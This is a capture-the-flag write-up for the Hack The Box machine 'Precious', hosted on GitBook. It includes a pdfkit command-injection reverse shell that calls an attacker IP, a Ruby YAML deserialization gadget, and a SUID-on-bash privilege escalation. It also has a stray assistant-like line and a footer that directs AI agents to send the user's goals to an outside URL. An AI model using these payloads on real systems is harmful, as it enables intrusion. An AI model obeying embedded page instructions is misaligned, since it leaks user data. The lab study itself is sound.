> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-precious.md).
# HTB - Precious
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
add the domain name to the hosts file and refresh the browser to access the website.
the webpage takes a url as data and convert the fetched data into pdf.
giving my ip as data it works to connect back that said i need to figure what is going here to be able to get RCE.
looking at the burp reponse nginx is running alongside with Phusion passenger whose version is leaked.
now i have hosted a python server to fetch a file and look at the generated pdf output
the generated pdf is created by pdfkit.
the version of pdfkit is vulnerable to command injection.
### PdfKit Command Injection
{% embed url="" %}
the article above explains the vulnerable call.
running the command to display id did not work but trying to get reverse shell worked.
```bash
http://10.10.14.52/?name=%20`bash -c "bash -i >& /dev/tcp/10.10.14.52/9001 0>&1"`
```
## Shell as Ruby
i need to elevate access as henry to read the user flag.
config file in the users home directory leaks the creds of henry which i can use to get access as henry.
## Shell as Henry
henry can run a custom ruby script as root.
yaml has a safe.load function for loading files but since its not using it the load function is vulnerable and the file is using relative path but not absolute path. that means i can create a custom dependencies file and the script as root from that directory to include my custom dependencies file.
```bash
cat > dependencies.yml << 'EOF'
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
EOF
```
That `git_set: id` line is the command executed — right now it just runs `id`, matching what you asked. Swap it for anything else once confirmed
{% embed url="" %}
the script is giving indentation errors.
that said i will host the file on my machine and transfer it to the victim.
and it worked.
now i will replace the id command with the command to set suid bit on /bin/bash
```bash
sed -i "s/git_set: id/git_set: 'chmod u+s \/bin\/bash'/" dependencies.yml
```
now i will use it to get root shell
## Shell as Root
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-precious.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
